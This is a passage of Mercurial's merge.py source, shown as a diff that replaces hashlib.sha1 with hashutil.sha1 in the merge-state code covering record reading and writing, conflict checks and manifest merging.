             if rtype == RECORD_LOCAL:
                 self._local = bin(record)
             elif rtype == RECORD_OTHER:
                 self._other = bin(record)
             elif rtype == RECORD_MERGE_DRIVER_STATE:
                 bits = record.split(b'\0', 1)
                 mdstate = bits[1]
                 if len(mdstate) != 1 or mdstate not in (
                     MERGE_DRIVER_STATE_UNMARKED,
                     MERGE_DRIVER_STATE_MARKED,
                     MERGE_DRIVER_STATE_SUCCESS,
                 ):
                     # the merge driver should be idempotent, so just rerun it
                     mdstate = MERGE_DRIVER_STATE_UNMARKED
 
                 self._readmergedriver = bits[0]
                 self._mdstate = mdstate
             elif rtype in (
                 RECORD_MERGED,
                 RECORD_CHANGEDELETE_CONFLICT,
                 RECORD_PATH_CONFLICT,
                 RECORD_MERGE_DRIVER_MERGE,
             ):
                 bits = record.split(b'\0')
                 self._state[bits[0]] = bits[1:]
             elif rtype == RECORD_FILE_VALUES:
                 filename, rawextras = record.split(b'\0', 1)
                 extraparts = rawextras.split(b'\0')
                 extras = {}
                 i = 0
                 while i < len(extraparts):
                     extras[extraparts[i]] = extraparts[i + 1]
                     i += 2
 
                 self._stateextras[filename] = extras
             elif rtype == RECORD_LABELS:
                 labels = record.split(b'\0', 2)
                 self._labels = [l for l in labels if len(l) > 0]
             elif not rtype.islower():
                 unsupported.add(rtype)
         self._results = {}
         self._dirty = False
 
         if unsupported:
             raise error.UnsupportedMergeRecords(unsupported)
 
     def _readrecords(self):
         """Read merge state from disk and return a list of record (TYPE, data)
 
         We read data from both v1 and v2 files and decide which one to use.
 
         V1 has been used by version prior to 2.9.1 and contains less data than
         v2. We read both versions and check if no data in v2 contradicts
         v1. If there is not contradiction we can safely assume that both v1
         and v2 were written at the same time and use the extract data in v2. If
         there is contradiction we ignore v2 content as we assume an old version
         of Mercurial has overwritten the mergestate file and left an old v2
         file around.
 
         returns list of record [(TYPE, data), ...]"""
         v1records = self._readrecordsv1()
         v2records = self._readrecordsv2()
         if self._v1v2match(v1records, v2records):
             return v2records
         else:
             # v1 file is newer than v2 file, use it
             # we have to infer the "other" changeset of the merge
             # we cannot do better than that with v1 of the format
             mctx = self._repo[None].parents()[-1]
             v1records.append((RECORD_OTHER, mctx.hex()))
             # add place holder "other" file node information
             # nobody is using it yet so we do no need to fetch the data
             # if mctx was wrong `mctx[bits[-2]]` may fails.
             for idx, r in enumerate(v1records):
                 if r[0] == RECORD_MERGED:
                     bits = r[1].split(b'\0')
                     bits.insert(-2, b'')
                     v1records[idx] = (r[0], b'\0'.join(bits))
             return v1records
 
     def _v1v2match(self, v1records, v2records):
         oldv2 = set()  # old format version of v2 record
         for rec in v2records:
             if rec[0] == RECORD_LOCAL:
                 oldv2.add(rec)
             elif rec[0] == RECORD_MERGED:
                 # drop the onode data (not contained in v1)
                 oldv2.add((RECORD_MERGED, _droponode(rec[1])))
         for rec in v1records:
             if rec not in oldv2:
                 return False
         else:
             return True
 
     def _readrecordsv1(self):
         """read on disk merge state for version 1 file
 
         returns list of record [(TYPE, data), ...]
 
         Note: the "F" data from this file are one entry short
               (no "other file node" entry)
         """
         records = []
         try:
             f = self._repo.vfs(self.statepathv1)
             for i, l in enumerate(f):
                 if i == 0:
                     records.append((RECORD_LOCAL, l[:-1]))
                 else:
                     records.append((RECORD_MERGED, l[:-1]))
             f.close()
         except IOError as err:
             if err.errno != errno.ENOENT:
                 raise
         return records
 
     def _readrecordsv2(self):
         """read on disk merge state for version 2 file
 
         This format is a list of arbitrary records of the form:
 
           [type][length][content]
 
         `type` is a single character, `length` is a 4 byte integer, and
         `content` is an arbitrary byte sequence of length `length`.
 
         Mercurial versions prior to 3.7 have a bug where if there are
         unsupported mandatory merge records, attempting to clear out the merge
         state with hg update --clean or similar aborts. The 't' record type
         works around that by writing out what those versions treat as an
         advisory record, but later versions interpret as special: the first
         character is the 'real' record type and everything onwards is the data.
 
         Returns list of records [(TYPE, data), ...]."""
         records = []
         try:
             f = self._repo.vfs(self.statepathv2)
             data = f.read()
             off = 0
             end = len(data)
             while off < end:
                 rtype = data[off : off + 1]
                 off += 1
                 length = _unpack(b'>I', data[off : (off + 4)])[0]
                 off += 4
                 record = data[off : (off + length)]
                 off += length
                 if rtype == RECORD_OVERRIDE:
                     rtype, record = record[0:1], record[1:]
                 records.append((rtype, record))
             f.close()
         except IOError as err:
             if err.errno != errno.ENOENT:
                 raise
         return records
 
     @util.propertycache
     def mergedriver(self):
         # protect against the following:
         # - A configures a malicious merge driver in their hgrc, then
         #   pauses the merge
         # - A edits their hgrc to remove references to the merge driver
         # - A gives a copy of their entire repo, including .hg, to B
         # - B inspects .hgrc and finds it to be clean
         # - B then continues the merge and the malicious merge driver
         #  gets invoked
         configmergedriver = self._repo.ui.config(
             b'experimental', b'mergedriver'
         )
         if (
             self._readmergedriver is not None
             and self._readmergedriver != configmergedriver
         ):
             raise error.ConfigError(
                 _(b"merge driver changed since merge started"),
                 hint=_(b"revert merge driver change or abort merge"),
             )
 
         return configmergedriver
 
     @util.propertycache
     def localctx(self):
         if self._local is None:
             msg = b"localctx accessed but self._local isn't set"
             raise error.ProgrammingError(msg)
         return self._repo[self._local]
 
     @util.propertycache
     def otherctx(self):
         if self._other is None:
             msg = b"otherctx accessed but self._other isn't set"
             raise error.ProgrammingError(msg)
         return self._repo[self._other]
 
     def active(self):
         """Whether mergestate is active.
 
         Returns True if there appears to be mergestate. This is a rough proxy
         for "is a merge in progress."
         """
         # Check local variables before looking at filesystem for performance
         # reasons.
         return (
             bool(self._local)
             or bool(self._state)
             or self._repo.vfs.exists(self.statepathv1)
             or self._repo.vfs.exists(self.statepathv2)
         )
 
     def commit(self):
         """Write current state on disk (if necessary)"""
         if self._dirty:
             records = self._makerecords()
             self._writerecords(records)
             self._dirty = False
 
     def _makerecords(self):
         records = []
         records.append((RECORD_LOCAL, hex(self._local)))
         records.append((RECORD_OTHER, hex(self._other)))
         if self.mergedriver:
             records.append(
                 (
                     RECORD_MERGE_DRIVER_STATE,
                     b'\0'.join([self.mergedriver, self._mdstate]),
                 )
             )
         # Write out state items. In all cases, the value of the state map entry
         # is written as the contents of the record. The record type depends on
         # the type of state that is stored, and capital-letter records are used
         # to prevent older versions of Mercurial that do not support the feature
         # from loading them.
         for filename, v in pycompat.iteritems(self._state):
             if v[0] == MERGE_RECORD_DRIVER_RESOLVED:
                 # Driver-resolved merge. These are stored in 'D' records.
                 records.append(
                     (RECORD_MERGE_DRIVER_MERGE, b'\0'.join([filename] + v))
                 )
             elif v[0] in (
                 MERGE_RECORD_UNRESOLVED_PATH,
                 MERGE_RECORD_RESOLVED_PATH,
             ):
                 # Path conflicts. These are stored in 'P' records.  The current
                 # resolution state ('pu' or 'pr') is stored within the record.
                 records.append(
                     (RECORD_PATH_CONFLICT, b'\0'.join([filename] + v))
                 )
             elif v[1] == nullhex or v[6] == nullhex:
                 # Change/Delete or Delete/Change conflicts. These are stored in
                 # 'C' records. v[1] is the local file, and is nullhex when the
                 # file is deleted locally ('dc'). v[6] is the remote file, and
                 # is nullhex when the file is deleted remotely ('cd').
                 records.append(
                     (RECORD_CHANGEDELETE_CONFLICT, b'\0'.join([filename] + v))
                 )
             else:
                 # Normal files.  These are stored in 'F' records.
                 records.append((RECORD_MERGED, b'\0'.join([filename] + v)))
         for filename, extras in sorted(pycompat.iteritems(self._stateextras)):
             rawextras = b'\0'.join(
                 b'%s\0%s' % (k, v) for k, v in pycompat.iteritems(extras)
             )
             records.append(
                 (RECORD_FILE_VALUES, b'%s\0%s' % (filename, rawextras))
             )
         if self._labels is not None:
             labels = b'\0'.join(self._labels)
             records.append((RECORD_LABELS, labels))
         return records
 
     def _writerecords(self, records):
         """Write current state on disk (both v1 and v2)"""
         self._writerecordsv1(records)
         self._writerecordsv2(records)
 
     def _writerecordsv1(self, records):
         """Write current state on disk in a version 1 file"""
         f = self._repo.vfs(self.statepathv1, b'wb')
         irecords = iter(records)
         lrecords = next(irecords)
         assert lrecords[0] == RECORD_LOCAL
         f.write(hex(self._local) + b'\n')
         for rtype, data in irecords:
             if rtype == RECORD_MERGED:
                 f.write(b'%s\n' % _droponode(data))
         f.close()
 
     def _writerecordsv2(self, records):
         """Write current state on disk in a version 2 file
 
         See the docstring for _readrecordsv2 for why we use 't'."""
         # these are the records that all version 2 clients can read
         allowlist = (RECORD_LOCAL, RECORD_OTHER, RECORD_MERGED)
         f = self._repo.vfs(self.statepathv2, b'wb')
         for key, data in records:
             assert len(key) == 1
             if key not in allowlist:
                 key, data = RECORD_OVERRIDE, b'%s%s' % (key, data)
             format = b'>sI%is' % len(data)
             f.write(_pack(format, key, len(data), data))
         f.close()
 
     @staticmethod
     def getlocalkey(path):
         """hash the path of a local file context for storage in the .hg/merge
         directory."""
 
-        return hex(hashlib.sha1(path).digest())
+        return hex(hashutil.sha1(path).digest())
 
     def add(self, fcl, fco, fca, fd):
         """add a new (potentially?) conflicting file the merge state
         fcl: file context for local,
         fco: file context for remote,
         fca: file context for ancestors,
         fd:  file path of the resulting merge.
 
         note: also write the local version to the `.hg/merge` directory.
         """
         if fcl.isabsent():
             localkey = nullhex
         else:
             localkey = mergestate.getlocalkey(fcl.path())
             self._repo.vfs.write(b'merge/' + localkey, fcl.data())
         self._state[fd] = [
             MERGE_RECORD_UNRESOLVED,
             localkey,
             fcl.path(),
             fca.path(),
             hex(fca.filenode()),
             fco.path(),
             hex(fco.filenode()),
             fcl.flags(),
         ]
         self._stateextras[fd] = {b'ancestorlinknode': hex(fca.node())}
         self._dirty = True
 
     def addpath(self, path, frename, forigin):
         """add a new conflicting path to the merge state
         path:    the path that conflicts
         frename: the filename the conflicting file was renamed to
         forigin: origin of the file ('l' or 'r' for local/remote)
         """
         self._state[path] = [MERGE_RECORD_UNRESOLVED_PATH, frename, forigin]
         self._dirty = True
 
     def __contains__(self, dfile):
         return dfile in self._state
 
     def __getitem__(self, dfile):
         return self._state[dfile][0]
 
     def __iter__(self):
         return iter(sorted(self._state))
 
     def files(self):
         return self._state.keys()
 
     def mark(self, dfile, state):
         self._state[dfile][0] = state
         self._dirty = True
 
     def mdstate(self):
         return self._mdstate
 
     def unresolved(self):
         """Obtain the paths of unresolved files."""
 
         for f, entry in pycompat.iteritems(self._state):
             if entry[0] in (
                 MERGE_RECORD_UNRESOLVED,
                 MERGE_RECORD_UNRESOLVED_PATH,
             ):
                 yield f
 
     def driverresolved(self):
         """Obtain the paths of driver-resolved files."""
 
         for f, entry in self._state.items():
             if entry[0] == MERGE_RECORD_DRIVER_RESOLVED:
                 yield f
 
     def extras(self, filename):
         return self._stateextras.setdefault(filename, {})
 
     def _resolve(self, preresolve, dfile, wctx):
         """rerun merge process for file path `dfile`"""
         if self[dfile] in (MERGE_RECORD_RESOLVED, MERGE_RECORD_DRIVER_RESOLVED):
             return True, 0
         stateentry = self._state[dfile]
         state, localkey, lfile, afile, anode, ofile, onode, flags = stateentry
         octx = self._repo[self._other]
         extras = self.extras(dfile)
         anccommitnode = extras.get(b'ancestorlinknode')
         if anccommitnode:
             actx = self._repo[anccommitnode]
         else:
             actx = None
         fcd = self._filectxorabsent(localkey, wctx, dfile)
         fco = self._filectxorabsent(onode, octx, ofile)
         # TODO: move this to filectxorabsent
         fca = self._repo.filectx(afile, fileid=anode, changectx=actx)
         # "premerge" x flags
         flo = fco.flags()
         fla = fca.flags()
         if b'x' in flags + flo + fla and b'l' not in flags + flo + fla:
             if fca.node() == nullid and flags != flo:
                 if preresolve:
                     self._repo.ui.warn(
                         _(
                             b'warning: cannot merge flags for %s '
                             b'without common ancestor - keeping local flags\n'
                         )
                         % afile
                     )
             elif flags == fla:
                 flags = flo
         if preresolve:
             # restore local
             if localkey != nullhex:
                 f = self._repo.vfs(b'merge/' + localkey)
                 wctx[dfile].write(f.read(), flags)
                 f.close()
             else:
                 wctx[dfile].remove(ignoremissing=True)
             complete, r, deleted = filemerge.premerge(
                 self._repo,
                 wctx,
                 self._local,
                 lfile,
                 fcd,
                 fco,
                 fca,
                 labels=self._labels,
             )
         else:
             complete, r, deleted = filemerge.filemerge(
                 self._repo,
                 wctx,
                 self._local,
                 lfile,
                 fcd,
                 fco,
                 fca,
                 labels=self._labels,
             )
         if r is None:
             # no real conflict
             del self._state[dfile]
             self._stateextras.pop(dfile, None)
             self._dirty = True
         elif not r:
             self.mark(dfile, MERGE_RECORD_RESOLVED)
 
         if complete:
             action = None
             if deleted:
                 if fcd.isabsent():
                     # dc: local picked. Need to drop if present, which may
                     # happen on re-resolves.
                     action = ACTION_FORGET
                 else:
                     # cd: remote picked (or otherwise deleted)
                     action = ACTION_REMOVE
             else:
                 if fcd.isabsent():  # dc: remote picked
                     action = ACTION_GET
                 elif fco.isabsent():  # cd: local picked
                     if dfile in self.localctx:
                         action = ACTION_ADD_MODIFIED
                     else:
                         action = ACTION_ADD
                 # else: regular merges (no action necessary)
             self._results[dfile] = r, action
 
         return complete, r
 
     def _filectxorabsent(self, hexnode, ctx, f):
         if hexnode == nullhex:
             return filemerge.absentfilectx(ctx, f)
         else:
             return ctx[f]
 
     def preresolve(self, dfile, wctx):
         """run premerge process for dfile
 
         Returns whether the merge is complete, and the exit code."""
         return self._resolve(True, dfile, wctx)
 
     def resolve(self, dfile, wctx):
         """run merge process (assuming premerge was run) for dfile
 
         Returns the exit code of the merge."""
         return self._resolve(False, dfile, wctx)[1]
 
     def counts(self):
         """return counts for updated, merged and removed files in this
         session"""
         updated, merged, removed = 0, 0, 0
         for r, action in pycompat.itervalues(self._results):
             if r is None:
                 updated += 1
             elif r == 0:
                 if action == ACTION_REMOVE:
                     removed += 1
                 else:
                     merged += 1
         return updated, merged, removed
 
     def unresolvedcount(self):
         """get unresolved count for this merge (persistent)"""
         return len(list(self.unresolved()))
 
     def actions(self):
         """return lists of actions to perform on the dirstate"""
         actions = {
             ACTION_REMOVE: [],
             ACTION_FORGET: [],
             ACTION_ADD: [],
             ACTION_ADD_MODIFIED: [],
             ACTION_GET: [],
         }
         for f, (r, action) in pycompat.iteritems(self._results):
             if action is not None:
                 actions[action].append((f, None, b"merge result"))
         return actions
 
     def recordactions(self):
         """record remove/add/get actions in the dirstate"""
         branchmerge = self._repo.dirstate.p2() != nullid
         recordupdates(self._repo, self.actions(), branchmerge, None)
 
     def queueremove(self, f):
         """queues a file to be removed from the dirstate
 
         Meant for use by custom merge drivers."""
         self._results[f] = 0, ACTION_REMOVE
 
     def queueadd(self, f):
         """queues a file to be added to the dirstate
 
         Meant for use by custom merge drivers."""
         self._results[f] = 0, ACTION_ADD
 
     def queueget(self, f):
         """queues a file to be marked modified in the dirstate
 
         Meant for use by custom merge drivers."""
         self._results[f] = 0, ACTION_GET
 
 
 def _getcheckunknownconfig(repo, section, name):
     config = repo.ui.config(section, name)
     valid = [b'abort', b'ignore', b'warn']
     if config not in valid:
         validstr = b', '.join([b"'" + v + b"'" for v in valid])
         raise error.ConfigError(
             _(b"%s.%s not valid ('%s' is none of %s)")
             % (section, name, config, validstr)
         )
     return config
 
 
 def _checkunknownfile(repo, wctx, mctx, f, f2=None):
     if wctx.isinmemory():
         # Nothing to do in IMM because nothing in the "working copy" can be an
         # unknown file.
         #
         # Note that we should bail out here, not in ``_checkunknownfiles()``,
         # because that function does other useful work.
         return False
 
     if f2 is None:
         f2 = f
     return (
         repo.wvfs.audit.check(f)
         and repo.wvfs.isfileorlink(f)
         and repo.dirstate.normalize(f) not in repo.dirstate
         and mctx[f2].cmp(wctx[f])
     )
 
 
 class _unknowndirschecker(object):
     """
     Look for any unknown files or directories that may have a path conflict
     with a file.  If any path prefix of the file exists as a file or link,
     then it conflicts.  If the file itself is a directory that contains any
     file that is not tracked, then it conflicts.
 
     Returns the shortest path at which a conflict occurs, or None if there is
     no conflict.
     """
 
     def __init__(self):
         # A set of paths known to be good.  This prevents repeated checking of
         # dirs.  It will be updated with any new dirs that are checked and found
         # to be safe.
         self._unknowndircache = set()
 
         # A set of paths that are known to be absent.  This prevents repeated
         # checking of subdirectories that are known not to exist. It will be
         # updated with any new dirs that are checked and found to be absent.
         self._missingdircache = set()
 
     def __call__(self, repo, wctx, f):
         if wctx.isinmemory():
             # Nothing to do in IMM for the same reason as ``_checkunknownfile``.
             return False
 
         # Check for path prefixes that exist as unknown files.
         for p in reversed(list(pathutil.finddirs(f))):
             if p in self._missingdircache:
                 return
             if p in self._unknowndircache:
                 continue
             if repo.wvfs.audit.check(p):
                 if (
                     repo.wvfs.isfileorlink(p)
                     and repo.dirstate.normalize(p) not in repo.dirstate
                 ):
                     return p
                 if not repo.wvfs.lexists(p):
                     self._missingdircache.add(p)
                     return
                 self._unknowndircache.add(p)
 
         # Check if the file conflicts with a directory containing unknown files.
         if repo.wvfs.audit.check(f) and repo.wvfs.isdir(f):
             # Does the directory contain any files that are not in the dirstate?
             for p, dirs, files in repo.wvfs.walk(f):
                 for fn in files:
                     relf = util.pconvert(repo.wvfs.reljoin(p, fn))
                     relf = repo.dirstate.normalize(relf, isknown=True)
                     if relf not in repo.dirstate:
                         return f
         return None
 
 
 def _checkunknownfiles(repo, wctx, mctx, force, actions, mergeforce):
     """
     Considers any actions that care about the presence of conflicting unknown
     files. For some actions, the result is to abort; for others, it is to
     choose a different action.
     """
     fileconflicts = set()
     pathconflicts = set()
     warnconflicts = set()
     abortconflicts = set()
     unknownconfig = _getcheckunknownconfig(repo, b'merge', b'checkunknown')
     ignoredconfig = _getcheckunknownconfig(repo, b'merge', b'checkignored')
     pathconfig = repo.ui.configbool(
         b'experimental', b'merge.checkpathconflicts'
     )
     if not force:
 
         def collectconflicts(conflicts, config):
             if config == b'abort':
                 abortconflicts.update(conflicts)
             elif config == b'warn':
                 warnconflicts.update(conflicts)
 
         checkunknowndirs = _unknowndirschecker()
         for f, (m, args, msg) in pycompat.iteritems(actions):
             if m in (ACTION_CREATED, ACTION_DELETED_CHANGED):
                 if _checkunknownfile(repo, wctx, mctx, f):
                     fileconflicts.add(f)
                 elif pathconfig and f not in wctx:
                     path = checkunknowndirs(repo, wctx, f)
                     if path is not None:
                         pathconflicts.add(path)
             elif m == ACTION_LOCAL_DIR_RENAME_GET:
                 if _checkunknownfile(repo, wctx, mctx, f, args[0]):
                     fileconflicts.add(f)
 
         allconflicts = fileconflicts | pathconflicts
         ignoredconflicts = {c for c in allconflicts if repo.dirstate._ignore(c)}
         unknownconflicts = allconflicts - ignoredconflicts
         collectconflicts(ignoredconflicts, ignoredconfig)
         collectconflicts(unknownconflicts, unknownconfig)
     else:
         for f, (m, args, msg) in pycompat.iteritems(actions):
             if m == ACTION_CREATED_MERGE:
                 fl2, anc = args
                 different = _checkunknownfile(repo, wctx, mctx, f)
                 if repo.dirstate._ignore(f):
                     config = ignoredconfig
                 else:
                     config = unknownconfig
 
                 # The behavior when force is True is described by this table:
                 #  config  different  mergeforce  |    action    backup
                 #    *         n          *       |      get        n
                 #    *         y          y       |     merge       -
                 #   abort      y          n       |     merge       -   (1)
                 #   warn       y          n       |  warn + get     y
                 #  ignore      y          n       |      get        y
                 #
                 # (1) this is probably the wrong behavior here -- we should
                 #     probably abort, but some actions like rebases currently
                 #     don't like an abort happening in the middle of
                 #     merge.update.
                 if not different:
                     actions[f] = (ACTION_GET, (fl2, False), b'remote created')
                 elif mergeforce or config == b'abort':
                     actions[f] = (
                         ACTION_MERGE,
                         (f, f, None, False, anc),
                         b'remote differs from untracked local',
                     )
                 elif config == b'abort':
                     abortconflicts.add(f)
                 else:
                     if config == b'warn':
                         warnconflicts.add(f)
                     actions[f] = (ACTION_GET, (fl2, True), b'remote created')
 
     for f in sorted(abortconflicts):
         warn = repo.ui.warn
         if f in pathconflicts:
             if repo.wvfs.isfileorlink(f):
                 warn(_(b"%s: untracked file conflicts with directory\n") % f)
             else:
                 warn(_(b"%s: untracked directory conflicts with file\n") % f)
         else:
             warn(_(b"%s: untracked file differs\n") % f)
     if abortconflicts:
         raise error.Abort(
             _(
                 b"untracked files in working directory "
                 b"differ from files in requested revision"
             )
         )
 
     for f in sorted(warnconflicts):
         if repo.wvfs.isfileorlink(f):
             repo.ui.warn(_(b"%s: replacing untracked file\n") % f)
         else:
             repo.ui.warn(_(b"%s: replacing untracked files in directory\n") % f)
 
     for f, (m, args, msg) in pycompat.iteritems(actions):
         if m == ACTION_CREATED:
             backup = (
                 f in fileconflicts
                 or f in pathconflicts
                 or any(p in pathconflicts for p in pathutil.finddirs(f))
             )
             (flags,) = args
             actions[f] = (ACTION_GET, (flags, backup), msg)
 
 
 def _forgetremoved(wctx, mctx, branchmerge):
     """
     Forget removed files
 
     If we're jumping between revisions (as opposed to merging), and if
     neither the working directory nor the target rev has the file,
     then we need to remove it from the dirstate, to prevent the
     dirstate from listing the file when it is no longer in the
     manifest.
 
     If we're merging, and the other revision has removed a file
     that is not present in the working directory, we need to mark it
     as removed.
     """
 
     actions = {}
     m = ACTION_FORGET
     if branchmerge:
         m = ACTION_REMOVE
     for f in wctx.deleted():
         if f not in mctx:
             actions[f] = m, None, b"forget deleted"
 
     if not branchmerge:
         for f in wctx.removed():
             if f not in mctx:
                 actions[f] = ACTION_FORGET, None, b"forget removed"
 
     return actions
 
 
 def _checkcollision(repo, wmf, actions):
     """
     Check for case-folding collisions.
     """
 
     # If the repo is narrowed, filter out files outside the narrowspec.
     narrowmatch = repo.narrowmatch()
     if not narrowmatch.always():
         wmf = wmf.matches(narrowmatch)
         if actions:
             narrowactions = {}
             for m, actionsfortype in pycompat.iteritems(actions):
                 narrowactions[m] = []
                 for (f, args, msg) in actionsfortype:
                     if narrowmatch(f):
                         narrowactions[m].append((f, args, msg))
             actions = narrowactions
 
     # build provisional merged manifest up
     pmmf = set(wmf)
 
     if actions:
         # KEEP and EXEC are no-op
         for m in (
             ACTION_ADD,
             ACTION_ADD_MODIFIED,
             ACTION_FORGET,
             ACTION_GET,
             ACTION_CHANGED_DELETED,
             ACTION_DELETED_CHANGED,
         ):
             for f, args, msg in actions[m]:
                 pmmf.add(f)
         for f, args, msg in actions[ACTION_REMOVE]:
             pmmf.discard(f)
         for f, args, msg in actions[ACTION_DIR_RENAME_MOVE_LOCAL]:
             f2, flags = args
             pmmf.discard(f2)
             pmmf.add(f)
         for f, args, msg in actions[ACTION_LOCAL_DIR_RENAME_GET]:
             pmmf.add(f)
         for f, args, msg in actions[ACTION_MERGE]:
             f1, f2, fa, move, anc = args
             if move:
                 pmmf.discard(f1)
             pmmf.add(f)
 
     # check case-folding collision in provisional merged manifest
     foldmap = {}
     for f in pmmf:
         fold = util.normcase(f)
         if fold in foldmap:
             raise error.Abort(
                 _(b"case-folding collision between %s and %s")
                 % (f, foldmap[fold])
             )
         foldmap[fold] = f
 
     # check case-folding of directories
     foldprefix = unfoldprefix = lastfull = b''
     for fold, f in sorted(foldmap.items()):
         if fold.startswith(foldprefix) and not f.startswith(unfoldprefix):
             # the folded prefix matches but actual casing is different
             raise error.Abort(
                 _(b"case-folding collision between %s and directory of %s")
                 % (lastfull, f)
             )
         foldprefix = fold + b'/'
         unfoldprefix = f + b'/'
         lastfull = f
 
 
 def driverpreprocess(repo, ms, wctx, labels=None):
     """run the preprocess step of the merge driver, if any
 
     This is currently not implemented -- it's an extension point."""
     return True
 
 
 def driverconclude(repo, ms, wctx, labels=None):
     """run the conclude step of the merge driver, if any
 
     This is currently not implemented -- it's an extension point."""
     return True
 
 
 def _filesindirs(repo, manifest, dirs):
     """
     Generator that yields pairs of all the files in the manifest that are found
     inside the directories listed in dirs, and which directory they are found
     in.
     """
     for f in manifest:
         for p in pathutil.finddirs(f):
             if p in dirs:
                 yield f, p
                 break
 
 
 def checkpathconflicts(repo, wctx, mctx, actions):
     """
     Check if any actions introduce path conflicts in the repository, updating
     actions to record or handle the path conflict accordingly.
     """
     mf = wctx.manifest()
 
     # The set of local files that conflict with a remote directory.
     localconflicts = set()
 
     # The set of directories that conflict with a remote file, and so may cause
     # conflicts if they still contain any files after the merge.
     remoteconflicts = set()
 
     # The set of directories that appear as both a file and a directory in the
     # remote manifest.  These indicate an invalid remote manifest, which
     # can't be updated to cleanly.
     invalidconflicts = set()
 
     # The set of directories that contain files that are being created.
     createdfiledirs = set()
 
     # The set of files deleted by all the actions.
     deletedfiles = set()
 
     for f, (m, args, msg) in actions.items():
         if m in (
             ACTION_CREATED,
             ACTION_DELETED_CHANGED,
             ACTION_MERGE,
             ACTION_CREATED_MERGE,
         ):
             # This action may create a new local file.
             createdfiledirs.update(pathutil.finddirs(f))
             if mf.hasdir(f):
                 # The file aliases a local directory.  This might be ok if all
                 # the files in the local directory are being deleted.  This
                 # will be checked once we know what all the deleted files are.
                 remoteconflicts.add(f)
         # Track the names of all deleted files.
         if m == ACTION_REMOVE:
             deletedfiles.add(f)
         if m == ACTION_MERGE:
             f1, f2, fa, move, anc = args
             if move:
                 deletedfiles.add(f1)
         if m == ACTION_DIR_RENAME_MOVE_LOCAL:
             f2, flags = args
             deletedfiles.add(f2)
 
     # Check all directories that contain created files for path conflicts.
     for p in createdfiledirs:
         if p in mf:
             if p in mctx:
                 # A file is in a directory which aliases both a local
                 # and a remote file.  This is an internal inconsistency
                 # within the remote manifest.
                 invalidconflicts.add(p)
             else:
                 # A file is in a directory which aliases a local file.
                 # We will need to rename the local file.
                 localconflicts.add(p)
         if p in actions and actions[p][0] in (
             ACTION_CREATED,
             ACTION_DELETED_CHANGED,
             ACTION_MERGE,
             ACTION_CREATED_MERGE,
         ):
             # The file is in a directory which aliases a remote file.
             # This is an internal inconsistency within the remote
             # manifest.
             invalidconflicts.add(p)
 
     # Rename all local conflicting files that have not been deleted.
     for p in localconflicts:
         if p not in deletedfiles:
             ctxname = bytes(wctx).rstrip(b'+')
             pnew = util.safename(p, ctxname, wctx, set(actions.keys()))
             actions[pnew] = (
                 ACTION_PATH_CONFLICT_RESOLVE,
                 (p,),
                 b'local path conflict',
             )
             actions[p] = (ACTION_PATH_CONFLICT, (pnew, b'l'), b'path conflict')
 
     if remoteconflicts:
         # Check if all files in the conflicting directories have been removed.
         ctxname = bytes(mctx).rstrip(b'+')
         for f, p in _filesindirs(repo, mf, remoteconflicts):
             if f not in deletedfiles:
                 m, args, msg = actions[p]
                 pnew = util.safename(p, ctxname, wctx, set(actions.keys()))
                 if m in (ACTION_DELETED_CHANGED, ACTION_MERGE):
                     # Action was merge, just update target.
                     actions[pnew] = (m, args, msg)
                 else:
                     # Action was create, change to renamed get action.
                     fl = args[0]
                     actions[pnew] = (
                         ACTION_LOCAL_DIR_RENAME_GET,
                         (p, fl),
                         b'remote path conflict',
                     )
                 actions[p] = (
                     ACTION_PATH_CONFLICT,
                     (pnew, ACTION_REMOVE),
                     b'path conflict',
                 )
                 remoteconflicts.remove(p)
                 break
 
     if invalidconflicts:
         for p in invalidconflicts:
             repo.ui.warn(_(b"%s: is both a file and a directory\n") % p)
         raise error.Abort(_(b"destination manifest contains path conflicts"))
 
 
 def _filternarrowactions(narrowmatch, branchmerge, actions):
     """
     Filters out actions that can ignored because the repo is narrowed.
 
     Raise an exception if the merge cannot be completed because the repo is
     narrowed.
     """
     nooptypes = {b'k'}  # TODO: handle with nonconflicttypes
     nonconflicttypes = set(b'a am c cm f g r e'.split())
     # We mutate the items in the dict during iteration, so iterate
     # over a copy.
     for f, action in list(actions.items()):
         if narrowmatch(f):
             pass
         elif not branchmerge:
             del actions[f]  # just updating, ignore changes outside clone
         elif action[0] in nooptypes:
             del actions[f]  # merge does not affect file
         elif action[0] in nonconflicttypes:
             raise error.Abort(
                 _(
                     b'merge affects file \'%s\' outside narrow, '
                     b'which is not yet supported'
                 )
                 % f,
                 hint=_(b'merging in the other direction may work'),
             )
         else:
             raise error.Abort(
                 _(b'conflict in file \'%s\' is outside narrow clone') % f
             )
 
 
 def manifestmerge(
     repo,
     wctx,
     p2,
     pa,
     branchmerge,
     force,
     matcher,
     acceptremote,
     followcopies,
     forcefulldiff=False,
 ):
     """
     Merge wctx and p2 with ancestor pa and generate merge action list
 
     branchmerge and force are as passed in to update
     matcher = matcher to filter file lists
     acceptremote = accept the incoming changes without prompting
     """
     if matcher is not None and matcher.always():
         matcher = None
 
     copy, movewithdir, diverge, renamedelete, dirmove = {}, {}, {}, {}, {}
 
     # manifests fetched in order are going to be faster, so prime the caches
     [
         x.manifest()
         for x in sorted(wctx.parents() + [p2, pa], key=scmutil.intrev)
     ]
 
     if followcopies:
         ret = copies.mergecopies(repo, wctx, p2, pa)
         copy, movewithdir, diverge, renamedelete, dirmove = ret
 
     boolbm = pycompat.bytestr(bool(branchmerge))
     boolf = pycompat.bytestr(bool(force))
     boolm = pycompat.bytestr(bool(matcher))
     repo.ui.note(_(b"resolving manifests\n"))
     repo.ui.debug(
         b" branchmerge: %s, force: %s, partial: %s\n" % (boolbm, boolf, boolm)
     )
     repo.ui.debug(b" ancestor: %s, local: %s, remote: %s\n" % (pa, wctx, p2))
 
     m1, m2, ma = wctx.manifest(), p2.manifest(), pa.manifest()
     copied = set(copy.values())
     copied.update(movewithdir.values())
 
     if b'.hgsubstate' in m1 and wctx.rev() is None:
         # Check whether sub state is modified, and overwrite the manifest
         # to flag the change. If wctx is a committed revision, we shouldn't
         # care for the dirty state of the working directory.
         if any(wctx.sub(s).dirty() for s in wctx.substate):
             m1[b'.hgsubstate'] = modifiednodeid
 
     # Don't use m2-vs-ma optimization if:
     # - ma is the same as m1 or m2, which we're just going to diff again later
     # - The caller specifically asks for a full diff, which is useful during bid
     #   merge.
     if pa not in ([wctx, p2] + wctx.parents()) and not forcefulldiff:
         # Identify which files are relevant to the merge, so we can limit the
         # total m1-vs-m2 diff to just those files. This has significant
         # performance benefits in large repositories.
         relevantfiles = set(ma.diff(m2).keys())
 
         # For copied and moved files, we need to add the source file too.
         for copykey, copyvalue in pycompat.iteritems(copy):
